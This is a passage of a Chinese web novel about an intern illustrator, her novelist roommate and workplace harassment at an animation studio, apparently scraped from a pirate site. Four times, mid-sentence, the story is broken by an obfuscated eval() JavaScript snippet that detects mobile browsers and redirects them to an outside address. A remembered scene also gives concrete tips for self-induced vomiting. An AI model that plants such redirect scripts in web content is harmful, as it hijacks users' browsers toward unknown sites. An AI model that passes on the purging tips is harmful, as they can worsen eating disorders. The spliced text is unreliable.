“太太在吗?” 她发来一张图片,蓝蓝的天空上有一朵云。 我在手机上打字:“今天的天气可真好啊。” 还没来得及发出去,富婆又发了一条消息,“太太你看这朵云,像不像你欠我的稿?” 我:“......” 我惊慌地摆着手,赶紧把没有发出去的那条消息给删了。 约稿的富婆:“太太!你不要以为不回我消息就可以当做无事发生!我看见你正在输入中了!为什么拖稿!” “ Look my eyes!” “ Tell me why!” 我觉得人生一片灰暗,处处愁云惨淡。 我又开始嘤嘤叫了,向苍天发出有气无力的怒吼。 唐雨微把我的工资条来回看了好几遍,倒吸一口凉气后问我:“你怎么还倒贴钱上班呢?” “工资3500,去医院花了1200,通勤我算300,早餐300,面试前去优衣库买衣服花了470,两瓶海露眼药水花了120,这已经是2390块钱了,你这个月因为工作没怎么接稿......” 她抬头看我:“别人上班赚钱,你上班怎么还倒贴钱呢?” 我:“......” 我试图狡辩:“如果不生病,我还是能攒下来一点的!” 她又抬头看我:“不上班的时候,你一个月能赚2万多一点,上班后你这个月赚了多少钱?” 我掐指一算,语气逐渐虚弱:“码字稿费3680.86,画稿5600,实习工资3500。” 我还没来得及点开计算器算出数字,唐雨薇轻启朱唇,淡淡道:“12,780.86。” 我萎靡了。 但我还是要坚持上班。 谁还没有梦想呢,每一个学动画的人都希望哪一天自己的名字可以出现在动画片头上。 于是我又去上班了。 那个公司附近的公交站有一个中年人,天天露鸟。一开始有人提醒过我,因为我上个月没有遇到,所以就渐渐的淡忘了这件事,直到有一天晚上我加班后准备打滴滴,迎面一个男的走过来,突然向我解开了他身上的灰色呢子过膝大衣。 贫瘠苍白的消瘦肢干。 同样贫瘠的某个部位。 跟我一起等车的另一个女同事发出一声尖叫,拉着我就跑。 这位女同事叫小夏,和我一样是应届毕业生,毕业于川美,是一个非常有才华的人。 我俩经常聚在一起吐槽,比如动画里女性人物建模,小夏说她看着那些建模就难受,我说能不难受吗,你看她们的胸,都快比她们脑袋大了。 小夏无奈苦笑:“胸前顶俩铅球真的有美感么?” 在此不得不提一下玄机的秦时明月,第5部的女性人物建模不仅有铅球胸,甚至还穿上了渔网袜和情趣内衣,我觉得制作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138140|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组那帮男的真是疯了。 扯远了,那个遛鸟的变态朝我们俩跑过来,我和小夏手牵手一路狂奔,跑到了一家小超市。 小夏正要报警,收银的大姐叹了口气儿,用特别同情的神色看着我们两个,说道:“没用的,那是个精神病,一直在这片溜达,警察也没法管。” 我一边拍着胸口喘气一边八卦:“咋还疯了呢?” 大姐说道:“具体原因也不知道,就知道他以前是个学美术的。” 我和小夏一起咳嗽起来。 大姐又慈爱地问我们两个:“你们做什么的,咋这么晚才下班呢?” 我说道:“我是会计,在公司平账。” 一旁的小夏:“我是审计,在公司审查。” 店里卖热奶茶,我和小夏一人买了一杯,当滴滴开到超市门口时,大姐把我送到车前,我感动的快要哭了。 到家后已经半夜十二点了,我脱了鞋子,疲惫地穿上了拖鞋,唐雨薇也没睡,在客厅里看电视。 电视里放着一部外国的片子,美丽的少女正在一堆面粉中跳舞。 我说道:“怎么想起看《美国往事》了。” “写文被吓到了,睡不着,随便找了部片子看。” 我打了哈欠,脱了身上的外套去洗手间洗漱,当我把脸浸泡到热水里时,我长长的呼出一口气,抬头看着镜子里满脸水珠的自己。 人为什么要上班啊? 为什么我们公司只有单休啊! 好想找一个世界毁灭的按钮摁一摁啊! 回家后我和小夏互报平安。 谈话的末尾,小夏说道:“愿世界早日毁灭。” 明天是周日,不用上班,我也可以肆无忌惮的熬夜了,我喝着奶茶,陪唐雨薇一起看电影,唐雨薇把亮度稍微调暗了些,对我说:“生活总是很辛苦的。” 工作里的一些琐碎小事是无法说明白的,我像一只霜打的茄子,蔫了吧唧的坐在沙发上发呆。 长叹三声后,我去厨房喝水,路过餐厅时,我看见餐桌上摆着一堆肯德基,差不多是两三个成年人的量。 我拿着水杯出来,“今天你的朋友来找你玩了吗?” 唐雨薇摇头。 她看起来状态不太好,有点疲惫。 人在某些时刻会想暴饮暴食,我能理解,可能写文的时候唐雨薇又遇到了一些坎坷。虽然我总调侃她是工业化流水线写作模式,但我知道其实她写的每一本书都是要耗费很多心血的。 从易学角度来说,很多网文写手的八字里都带有食伤,食伤泄秀就是发挥自己的聪明才智、耗费自己的心血来凝结成作品。 耗费心血的过程都是带点痛苦的。 优秀的文字往往蕴含着强大的感染力,而这些感染力源自于一个作者对文字的超强感知能力和驾驭能力。 一旦失去对文字的感知,就好像血肉上生了一层厚厚的锈,灵感被尘封在厚重的铁锈里面,无论如何也触及不到。这时候写下的每一个字都是钢丝球在血肉上磨,把那层锈磨掉,露出血淋淋的皮肉,再继续往下写。 我的八字就是食伤泄秀木火通明的格局,当年那个给我看八字的先生说我木火相生才华横溢,会在文学科技领域成名。 然后有一天,我忽然想成为一名作者,那时候我连键盘都没有,就在手机上敲敲打打,写下了很多很多的废稿。 虽然我只是一个一星作者,至今也没有成名,但写作仍然让我痛苦。 更可恨的是,我总是无法割舍这种痛苦。 12. 第 12 章 我的神毫文一夜之间涨了一千个收藏,成绩有了明显的起色,当日收入增加了三百块钱。 我以为是读者老爷们慧眼识珠,结果点开手机一看,原来是唐雨薇在她的微博上推荐了我的文。 我怎么也得感谢一下。 我和唐雨薇的经济实力差距太大,都说送人礼物不要讲性价比,五百块钱送一双袜子绝对比送五百块钱的茶叶更让人印象深刻。 思来想去,我送了唐雨薇一套键帽。 这套键帽花了我286块钱,很难买,还是让手速很快的肥猪满圈帮我抢到的。 肥猪满圈一如既往的热心肠,特别体贴地帮我抢了大全套,适配市面上所有配列的键盘。 肥猪满圈大学毕业后成为了一名全职写手,目前已经积累了一批稳定的粉丝。她现在写的这本小爆了一把,单本赚了53万,成功摘得四星,正式成了一名四星作者。 我很羡慕。 她在绿泡泡里问我最近怎么样,我说我快要上班上死了。 肥猪满圈痛哭流涕:“我已经半个月没下楼了,昨天下楼买可乐,差点恐人。” 我:“我去,这么拼?” 肥猪满圈:“没办法啊,缺了点灵气和天赋只能靠勤奋补足了,金榜竞争太激烈,少更一千字都往下掉一个名次,只能每天日万。” 肥猪满圈这话就很谦虚了,能靠写文赚上几十万的人是不可能没有天赋的,只不过天赋也分等级罢了。 顶级的天赋写顶级的文,没有天赋的人,文章里难免多了几分匠气,这时候就只能靠勤奋和汗水来弥补了。 我因为有画稿带来的收益,所以写文的时候一直都很佛系,我一直都日更3000,偶尔心情好了,状态不错了,试一试写个6000,但日码1万字,对我来说还是有点太超过了。 我:“日万......听起来好可怕......” 肥猪满圈:“写起来更可怕,腚都坐平了,姐妹我日夜在水深火热之中艰难求生,全靠一口仙气活着。” 为了肥猪满圈的健康着想,我噼里啪啦打字:“要不然出去走一走,和朋友吃个饭什么的,天天圈在一个屋子里,思维都狭隘了。” 肥猪满卷一整个大叹气,给我拍了一张她的书架。 好家伙,直达棚顶的书架放满了书,还有一些书连外面的塑料封膜都没有拆开,凌乱的堆在书架旁边。书桌的四周也都散落着各式各样的书,有些书用夹子夹着,直接摊开在地毯上,还有一些书夹了书签,在书房里靠墙的一张小沙发上。 我一个大震惊:“你要转行开书店啊?” 肥猪满圈:“哎哟,我在查资料唉,你知道我现在写的这本书需要查多少资料么,灵异文写起来太痛了,要不是订阅太好,我根本坚持不下去。” 她现在这本书名叫《豪门真千金全职捉鬼》,里面涉及了大量的道家和佛家的知识,把我看的一愣一愣的。 肥猪满圈:“写完这本书,如果我以后不写文,我就去当风水先生,我前天往我卧室窗前放了一块石敢当,还别说,从此之后睡眠好多了,人也精神多了,收益也增多了。” 我沉默了会儿,发了条语音:“你那个石敢当有链接么?” 肥猪满圈:“咋了,唐唐家风水格局不好啊?” 我说道:“唐唐家风水挺好的,我驱驱上班的怨气。” 江浙沪这边的快递真的超级快,晚上下单,第2天下午快递就送到了。 等我下班回来的时候,唐雨薇已经把键帽安装好了,还特意拿起键盘给我看。 那真是一套特别漂亮的粉色键帽,和唐雨薇的一把客制化铝坨坨键盘特别相配,我们俩坐在一起欣赏换了一身皮肤的键盘。 唐雨薇搂着我的肩膀,有些唏嘘,“都倒贴钱上班了还要给我买礼物。” 我乐了:“滴水之恩,自当涌泉相报,公若不弃,布愿拜为义父!” “而且你收了那么多徒弟,应该经常收到这种礼物吧?” 唐雨薇又开始笑,“哪有很多徒弟呀,这两年也就肥猪满圈一个。” 她换了个坐姿椅在沙发上,“我刚开始写文那两年,特别喜欢交朋友,我在论坛上认识了一个特别热情的写手,聊了两年多,我经常帮她修改文章,教她怎么写文,我们见过面,还互相送过礼物。” 我一听就知道这其中有故事,立马精神起来了,“那后来呢?” “后来她抄袭我。” “啊???” “有一段时间我们几乎无话不谈,聊天的时候我说了一些新文的灵感和人物设定,还有一些比较重要的梗。” 我:“这已经是一篇文的核心了。” “是啊,”唐雨薇叹气,“她那本文小火了一下,从一星到三星。” “那你有没有找她对峙啊?” 唐雨薇摇头:“我保存了聊天记录后立刻把她删了,多说一个字都嫌恶心。” 我:“那后来呢?” 唐雨薇耸肩:“后来她扑的很惨,也就那一本成绩不错,毕竟我这样吸血包很难找到第二个了。” 我连忙给她捶肩:“不伤心不伤心,以你今时今日的地位,想求你指点看文的人多的是,旧的不去新的不来哈。” 唐雨薇又开始笑。 她最近脸上总挂着一些莫名其妙的微笑,淡淡的,飘飘的,有一种淡淡的死感。 说着说着我有点渴了,去厨房倒水,路过餐厅时又看到餐厅上摆着一堆肯德基全家桶。 我端着水杯又坐回沙发上,“虽然我不在家,但你一个人在家也要好好吃饭,不要总吃肯德基,你这么有钱,给自己点一些日料啊什么的多好啊。” 唐雨薇开了电视,拧开了一瓶气泡水,“点开外卖一半都是川菜湘菜,杭州的川菜吃起来好奇怪,川菜还得在四川吃啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138141|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就肯德基很正宗。” 工作6天后又到了周日放假的时间,我跟唐雨薇去吃卤致号,这是一家潮菜餐厅,招牌菜是卤鹅拼盘。 杭州的所有菜口味都偏淡偏甜,卤鹅也稍微淡一点。 我们俩为了这一顿,中午都没有吃午饭,服务员把菜端上来之后我猛猛拍照,然后把手机一扔,开始酷酷炫饭。 这一顿饭我们俩吃的都很满足,也吃的特别撑,我偷偷松了松腰带,又把牛仔裤的扣子悄悄解开了,然后和同样吃撑的唐雨薇手挽着手回家了。 杭州这个地方不缺好吃的漂亮饭,但是吃这些好吃的漂亮的饭都需要很多的钱。 回到家之后,唐雨薇去了洗手间。 她这次去洗手间的时间比较长,我去冰箱里拿柠檬准备泡水的时候,发现冰箱里的一升装燕麦牛奶不见了。 吃得这么撑,唐雨薇怎么还喝燕麦奶? 路过餐厅时我扫了一眼,餐桌上没有燕麦奶,那唐雨薇是拿着燕麦奶去了洗手间? 拿燕麦奶去洗手间干嘛啊,哪个正常人去洗手间喝燕麦奶啊? 我百思不得其解。 过了一会,唐雨薇拿着燕麦奶从洗手间里出来了,她把燕麦奶盒子放在一边,开始漱口。 电光火石间,我脑子里冒出俩字。 ——催吐。 每个人都有自己的生活方式,每个人的胃也不一样。 有的人吃多了会难受,吐出来会好受一点,睡在我对床的大学室友就很喜欢催吐,不知道是不是学美术的女生都特别注意自己的身材和容貌,反正我遇见的兔子(经常催吐的人)挺多的。 有一部分人在压力特别大的时候会暴饮暴食。 我参加美术集训那年宿舍里有一个很勤奋的同学,她的体重只有81斤,我们在凌晨一点画完作业,她会出去买两碗加炸蛋和猪脚的大份螺蛳粉,再配上两大杯冰奶茶拿回宿舍吃,她吃完之后就一边喝奶茶一边去厕所催吐。 她的纸抽用的特别快,吐着吐着就会鼻涕一把泪一把的来找我借纸。 这种行为我不建议,但是我能理解。 这位女同学基础不错,而我是零基础集训,那个时间压力太大,画着画着就莫名流泪,有时候上着课呢,突然就胸闷气短喘不上气儿,胸口就像压着一块石头似的,一周之内浑浑噩噩的瘦了八斤。 我经常和这位女同学抱头痛哭,她就建议我多吃点东西发泄压力,吃完之后再全部吐出来,这样就会觉得很轻松。 她还告诉我一些小窍门,比如先吃一个小番茄做标记,在呕吐物里看到这个小番茄就算吐干净了。因为呕吐物含胃酸会腐蚀食道黏膜,所以喝点牛奶什么保护一下嗓子和食道。 我听的叹为观止,但我并没有尝试,因为我只有很少很少的钱。 后来她考上了央美,我考上了陶瓷大学。 我们都有光明的未来。 13.第 13 章 唐雨薇把燕麦奶的盒子放在洗手台上,对着镜子漱口,又拿出洗鼻子的喷雾清洗鼻腔。 做完这一切,她又洗了把脸,撕开了一张面膜贴在自己脸上。 “跟我一起拉片啊?” 她用一种莫名轻快的语调对我说,我从沙发上站起来,把客厅的茶几搬到了她的卧室。 她关了灯,只把台灯点开。我抱着南瓜抱枕坐在地毯上,翻开新买的本子,跟着唐雨薇一起在本子上写写画画,偶尔我不知道该写什么的时候,就抬头看一眼唐雨薇的笔记,借鉴一下唐雨薇的拉片思路。 这次拉片的电影是穆赫兰道,这个电影非常复杂,刚看的时候,我以为这是一部温馨的搞笑电影。 看着看着,眉头就渐渐皱了起来。 很多电影都会采取线性叙事的规则,但这部电影是梦境与现实的双线交叉叙事,就导致剧情特别特别的复杂,我虽然看着电影,但是脑子里已经出现了一座迷宫,怎么走都找不到出口。 看到最后,原来这一切都是一场梦。 怪不得剧情如此混乱。 因为梦就是混乱的。 让我印象很深刻的是其中一个女主的那种自卑、愤怒与悲伤,好像一个大摆锤,来来回回敲击着我的心脏。 最后几分钟的闪回结束后,唐雨薇的眼泪毫无预兆地砸了下来。 她坐在地毯上,带着防蓝光眼镜,手里拿着碳素笔,笔尖在纸上画出了很多圈圈,一双眼睛呆呆地看着屏幕,眼泪像透明的线,铺满了她的脸。 强大的文字感染能力必然是写作者强大的共情能力导致的结果。 强大的共情能力使文字蕴含了充沛的感情,但也会让写作者陷入无法自拔的痛苦之中。 优秀的文学作品会发出灿烂的光辉,创作者的生命和情感则是使它们发光发热的燃料。 我默默递给唐雨薇一张面巾纸,唐雨薇擦擦眼泪,“这是我第3次看它了,每一次感受都不太一样,你觉得呢?” 我很诚实地回答:“我觉得有点难懂,那个蓝色小盒子里装的是什么啊,那一对老夫妇又是谁啊,杀手杀的第一个人又是哪个啊,卡米拉到底死没死?” 唐雨薇虚弱地笑了笑,“我第一次看的时候也像你这样,觉得这部电影在故弄玄虚,后来写文,发现它的叙事节奏可以借鉴一下,很适合用在一些悬疑场景里。” 我又递给唐雨薇一张面巾纸,唐雨薇擦掉鼻涕和眼泪,虚脱般的躺在地毯上,她做了手臂向后伸展的动作,手臂和肩颈的线条特别的流畅优美,呈现出舞者才有的力量感和节奏感,就像一只引颈受戮的天鹅。 我这才想起她和我说过,她跳过十几年的芭蕾。 我犹豫了一下,还是问道:“你是不是最近压力有点大?” 唐雨薇看着我,一头栗棕色的波浪卷发铺在米白色的地毯上,对我笑了笑,“没有什么压力,只是我对自己有点失望。” 我这会儿有点不知道该说什么,难道要说她对自己要求太高么。 唐雨薇和我不一样,当年她是高考考砸了才去的复旦,她说去不了清华和北大就感觉自己的人生要被毁掉了。 像我这种学渣,不能用自己的想法去对她批判些什么。 我谨慎地想了想才说道:“我文化课分数不高,说不出特别有哲理的话,只能拿自己的切身经验举个例子。” “我去参加美术集训的时候不敢落笔,旁边一起上课的同学都已经把大轮廓画出来了,我还拿着铅笔坐在那发呆,不知道要从哪里画起,因为我真的是什么基础都没有,根本就不懂画画,教素描的老师走到我身边,对我说不要害怕,先画出一团垃圾出来也挺好的。” 唐雨薇看着我,我叹气,“后来我真的画出了一团垃圾,但我感到好极了,也轻松极了,因为我觉得这是一个很好的开始。” 唐雨薇又对我笑了笑,然后点开了一部鬼片。 这部鬼片是大名鼎鼎的咒怨,后劲十足的日式恐怖天花板。 我看到那个鬼从被窝里钻出来那段人已经麻了,扯着唐雨薇的头发高声尖叫起来。 唐雨薇也抱紧了我,我们俩抱成一团,一边尖叫一边往后缩。 我的脑袋撞到了房间里的书桌腿,唐雨薇的鼠标和护手霜正好掉下来砸在我们的肩膀上,我虎躯一震,唐雨薇娇躯一颤,我们俩叫的撕心裂肺,嗓子都快喊劈了。 唐雨薇一边尖叫一边怒骂:“这*%$鬼怎么回事啊!能不能守点规则!怎么还钻被窝!我要告到天庭!告到天庭!” 我们俩战战兢兢地看完了,吓得手脚发软,连电脑都不敢关,明明已经到了片尾曲,却谁也不敢靠近屏幕。 唐雨薇拿起捶背的艾草养生锤,咚的一下砸向关机键。 电脑熄屏了。 我们俩瘫坐在地毯上。 过了几秒,我瑟瑟发抖地说道:“浑身凉飕飕的,我去做两杯热拿铁吧。” 燕麦奶就没有了,只能用牛奶,我拿着打泡器把咖啡打发,把热好的牛奶倒进去,端着两个陶瓷杯去了卧室。 喝完咖啡看了一眼手机,晚上8:56,所以我们的高分贝尖叫也不算扰民。 喝完咖啡之后唐雨薇去洗杯子,我又把茶几搬到了客厅。 唐雨薇洗完杯子回来了,开始左看看右看看。 “你看什么呢?” 唐雨薇说道:“你有没有觉得咱们这房子特别热闹?” “啊?” 唐雨薇抱住了我的胳膊,“你不觉得哪儿都是人吗?” 我立刻打了个哆嗦叫了起来:“哎呀你能不能不要吓人了,我刚缓过来一点,你这样一说我还怎么睡觉啊,被窝封印都失效了!” 最可恨的是,我明天还要上班! 我拿出手机开始放苏维埃进行曲,就让这钢铁洪流踏破一切吧! 晚上我们俩又睡了一张床,这次睡在了唐雨薇的主卧。 主卧的床更大,是1.5米的大床,我们俩盖着被子躺在床上玩手机,在各自的评论区里翻评论。 看完评论之后,我关掉手机还是睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142339|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不着,在一旁碎碎念:“为什么咒怨里的鬼要钻人被窝啊,好讨厌这种没有边界感的鬼.......” 唐雨薇抖了一下,一把捂住我的嘴:“好了你不要再说了。” 我安静了,她也安静了,我们在一片安静中睡着了。 早上醒来的时候,我的手又伸进了唐雨薇的睡裙里,吓得我狠狠一哆嗦,赶紧把手拿开了。 我惊慌地跳下床跑到洗手间里洗漱,蹑手蹑脚地去厨房里做早餐。 做完早餐,唐雨薇还没醒,我把食物放进锅里保温,拎着帆布包赶公交车。 周一上班真是让人半死不活的,我踩点到了公司,小夏坐在工位上哈欠连天,也一副半死不活的样子,我们又点开电脑开始做特效渲染。 过了一会儿,我们的组长来了。 我和小夏的组长姓朱,长得也很猪,我们无意对他人的外貌进行审判和攻击,但这位带实习生的朱姓组长真的非常的油腻。 我和小夏做特效渲染的时候,他经常站在我们俩后面指点,指点着指点着,他那油腻肥厚的短粗猪手就搭在了我和小夏的肩膀上。 他经常给我们俩发绿泡泡,约我们俩出去吃饭看电影,或者是探讨一些渲染细节。 我回消息都很敷衍,除了工作问题都回的很敷衍,他发啥我都回哈哈哈,因为我有副业收入,再加上不用付房租,经济上没那么拮据,所以有那么一点有恃无恐。 小夏的性格有点软,不会和别人撕破脸,所以这位朱姓老员工就有点得寸进尺,有一次指点动物毛发渲染细节时,他居然把手放在了小夏的腰上。 油光锃亮的猪刚鬣脸闪着油腻的光,一边摸小夏的腰一边说道:“工作久了要注意姿势,别总弯着腰,要挺胸抬头啊。” 他把那个“胸”字咬的特别重,听得我怒从心起,但是我没有办法做什么,因为小夏还在他手底下实习。 想帮忙,又不知道会不会帮倒忙。 有另外一个比较沉稳的男同事看不下去了,叫这位朱姓员工看看他发过去的素材包。 朱姓员工被叫走之后,小夏的脸色已经很不好看了。 有时候工作和宫斗没啥区别。 在公司里,我还和一位女员工不太对付,这个女员工总把自己手头上的一些工作推给我,美名其曰让我多学习。 我口头上答应的很好,但就是拖着不做,每次她问起,我都说手里的东西没忙完,都是总监急着要的。 一来二去,她吃了亏,也不把手里的工作推给我了,每次看见我她都会翻白眼,然后把手里的保温杯往桌子上重重一放,或者是把鼠标往桌子上一摔。 我懒得理她,这位女同事特别爱穿紫色的毛绒线衫,我总觉得她像一个发了霉的茄子。 有一天,一个中年女人找到了我们公司,一进公司就问谁是小夏。 我和想象的工位紧挨着,那位发了霉的茄子不知道是有意还是无意,朝我指了一下。 然后那位中年女子就朝我快步走过来,狠狠给了我一耳光。 14.第 14 章 我呆滞了一秒后迅速打回去了。 抡圆了胳膊扇了她两耳光,扯着她的头发破口大骂:“卧槽,大妈你谁啊,我招你惹你了?” 她开始拽我头发,歇斯底里对我破口大骂,“你个狐狸精,年纪轻轻不学好,没皮没脸的勾引我男人,你要不要脸,你要不要脸?” 厮打的时候,她身上传来一股淡淡的葱花味和油烟味,这味道我经常在我妈妈身上闻到过,拽她头发的手一下子就松了松。 “啥玩意?”我一整个大震惊,“谁勾引你男人了?” 我不可思议之时,同事们已经来拉架了,把我和这位中年妇女拉开,吃午饭的小夏也回来了,一见到这场面也是吃了一惊,小跑过来拉架,把我的头发从这位中年女子的手里解救出来。 我揉着扯痛的头皮,看着对面的女人。 她正坐在地上嚎啕大哭,嘴里反复念叨着:“你怎么能勾引有家室的男人,年纪轻轻不要脸,我们在一起十三年了......” 我和小夏面面相觑间,我的余光扫了一眼那个发霉的茄子。 发霉的茄子一脸兴奋,脸上的每一个晒斑都讨人厌。 小夏小声问我:“怎么回事啊?” 我也小声说:“找你的?” 小夏懵了。 这时我们总监也过来了,扶起坐在地上的女人,和颜悦色的问道:“小丽啊,你别哭,怎么啦这是?” 女人哭着拿起手机,“你们公司新来的实习生勾引我老公。” 工作室里的人一副吃了大瓜的表情,每个人都打了鸡血似的,一下子精神起来了。 我还处在暴怒之中,大着嗓门问道:“你老公是谁啊?” 我们总监递给我一个安抚的眼神,无奈地说道:“嫂子啊,朱涛只是带带实习生,他和你十几年的感情,你还信不过他吗,他手下这俩实习生也挺好的,都是挺正派的小姑娘,咋能勾引你老公呢,这其中是不是有啥误会啊?” 朱涛? 想起朱涛那张油腻肥胖的脸,我顿时一阵恶心 我更愤怒了,愤怒的咆哮声在整个工作室都能听见:“有病啊,谁会去勾引一头猪啊!你以为我和你一样不挑食啊!” 我无意对他人的容貌和身材进行攻击,但对于朱涛这个猪头,我只能说一切的咒骂都是他应得的。 然后他的妻子又和我吵了起来,还拿出了自己的手机点开了相册给所有人看朱涛的微信聊天记录。 有个同事说道:“诶,薇薇的微信也不是这个呀,这不是小夏的微信吗?” 这回轮到小夏手足无措了,手舞足蹈手忙脚乱地解释:“我没有啊,我有男朋友,我怎么会勾引朱涛啊。” 那个女人又激动起来,指着一条条微信朝着小夏骂的:“你个骚|货,表|子,敢做不敢认是吧,不就是看我们家老朱有些家底吗,现在的小姑娘心高的很,吃不了工作的苦就卖|肉,就知道攀高枝找男人,想一步登天是吧?” 朱涛家里确实有那么点家底,但说什么一步登天就实在有点夸张了,我觉得朱涛远远不如唐雨薇有钱。 我的脑子已经下意识比较起来,朱涛油腻肥胖,身材管理差到极致,还经常抽烟,动不动就朝我们露出一口黄牙,虽然在公司里很有资历,但他年薪顶多就三十万。 三十万,唐雨薇一个月就能赚到这个数。 唐雨薇还那么谦虚,经常说自己是个废物。 我身边的小夏已经快哭了,哽咽着说道:“谁勾引他了,我有男朋友。” 我觉得小夏这包子性格真的不好,一遇到事就哭,我只能叹气,在一旁点头:“对,小夏有男朋友。” 那个女人用一种特别愤恨的眼神看着我和小夏,“有男朋友又怎么了,吃着碗里看着锅里的事还少吗? 她又开始给我们看朱涛和小夏的微信,我扫了一眼,里面都是一些正常的对话,但小夏有一个习惯,聊天时经常发一些比较可爱的表情包。 然后这个女人又点开相册,好家伙,相册里居然是一些偷拍照,有小夏的,也有我的。 其中有一张偷拍照,那照片里我穿着一件低领的蓝绿色针织薄毛衣,工作时身体一前倾,胸口稍微有点走光,居然不知道什么时候被朱涛这个王八蛋给拍进去了。 小夏经常穿裙装,配各种各样的裤袜,朱涛偷拍她的腿和臀。 我和小夏看着看着,两人都气得七窍生烟。 小夏一边哭一边骂:“大妈你搞清楚,这是偷拍你知不知道。” 同事们看着那些“证据”,一看一个不吱声,用复杂同情的眼神看着我和小夏,脸上的表情精彩极了。 过了一会儿,吃完午饭的朱涛回来了。 朱涛显然还没搞清楚状况,但眼前的景象已经让他觉得大事不妙。 我们总监是个老好人,见朱涛回来了,赶紧把他扯过来指着我和小夏说道:“你快跟嫂子解释解释,嫂子误会了。” 过了几秒钟,我看朱涛脸上的汗都快出来了,汗水顺着他那张油腻的肥脸一个劲的往下淌。 他力气很大,一把将他的老婆拉走了。 那动作很粗暴,拽得他老婆踉踉跄跄的,差点栽一个跟头。 这对夫妻一离开,工作室就像炸了似的,众人七嘴八舌的议论起来。 我这才知道,朱涛已经不止一次对实习生动手动脚了,而且就在两年前,真的有实习生跟他纠缠不清,花了朱涛40多万,还差点让这对夫妻离婚。 俗话说一朝被蛇咬十年怕井绳,怪不得这个妻子情绪这么激动,做出这样过激的行为。 我在那吐槽:“长这么丑,谁会看上他。” 另一个人品不错的女同事在一旁撇嘴:“长得不怎么样啊,可家底厚啊,那可是有三套房的本地人啊。” 我大喊我要报警,朱涛当着公司同事的面把手机里的照片全删了。总监又劝我和小夏不要报警,委婉地表示报警也没什么用,这会儿又不是夏天,他没有专门偷拍裙底,根本没证据。 朱涛虽然缺德,但他是公司的技术骨干,只有两把刷子的人,公司不可能就为了这些事情开除他。 这件事发生后,朱涛觉得很丢脸,不愿意带我们两个实习生,我们俩也不敢在他手底下工作,总监就把我们俩交给了发霉的茄子。 我面露难色,说能不能给我换一个。 总监一身爹味,爹味满满地说道:“工作就是要和人打交道啊。” 这位发霉的茄子女士对所有的年轻女孩都有一种莫名其妙的深刻恨意,特别恨我和小夏。 我和小夏刚进公司的时候会化妆,每天都会打扮的特别精致去上班。 每次我进公司,她的目光就会在我脸上巡视一圈,再从上到下打两眼我的穿着,然后眼睛向上一翻,嘴角向下一撇,露出一个讥讽的表情。 有一次小夏在公司午休时出去买水,正巧在便利店里遇见这位茄子女士。 这位茄子女士在便利店门口的冰柜旁边买水时,一个特别漂亮特别时尚的年轻女生买完东西从她面前走过去,她转头和旁边的一位同事说道:“这种女生一看就是干外围的。” 比起小夏,她更恨我。 我和唐雨薇吐槽的时候,还拿起镜子照了照自己的脸,一本正经的说道:“我觉得可能是因为我比小夏长得稍微好看一点。” 唐雨薇说道:“嫉妒。” 我哈哈大笑:“要是她看见你,还不得嫉妒死?” 唐雨薇又做了一个手臂向后伸展的动作,得意洋洋:“嫉妒我的人可太多啦,不过我也会嫉妒别人,还是要调和心态。” 我觉得唐雨薇说的很对,于是我每天上班之前都要深深地调和一下心态。 朱涛和发霉的茄子一样,也莫名其妙的恨上了我们两个,明明我们两个才是受害者。 作为整个小组的组长,我们经手的工作都需要他先过目一遍。 他开始在工作上处处为难我和小夏。 我与小夏在朱涛和茄子女士的双重针对下寸步难行,一个渲染细节被来回挑刺儿,反复打过去重做,最晚的一次磨到凌晨2点多,第二天上上班的时候我差点晕倒。 唐雨薇吓了一跳,打车送我去上班,我坐在车里,倚着她的肩膀睡了一觉。 她送我去了公司,还下楼给没有吃饭的我买早餐。 发霉的茄子抬头看唐雨薇,眼里闪过一丝我从来没有见过的愤恨到极致的光,那眼神和神色可谓是极度极度的恶毒了。 唐雨薇实在太漂亮了,穿着车厘子红羊绒大衣,背着香奈儿的白色小包,踩着白色的羊皮靴子,因为早上出门匆忙没来得及洗头发,还戴了一顶车厘子红的帽子。 她的出现就像划破黑夜的一道闪电,闪耀苍穹,像一个照明弹似的点亮了死气沉沉的公司。 她去肯德基给我买了早餐,离开后和我不怎么熟的男实习生来找我搭话,委婉地向我打听唐雨薇。 我看了他一眼。 这男的明明这么普通,为什么能这么自信啊? 我一边喝粥一边说道:“别想了,你配不上他。” 男实习生不依不饶,坐在小夏的工位上,开玩笑似的笑着说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 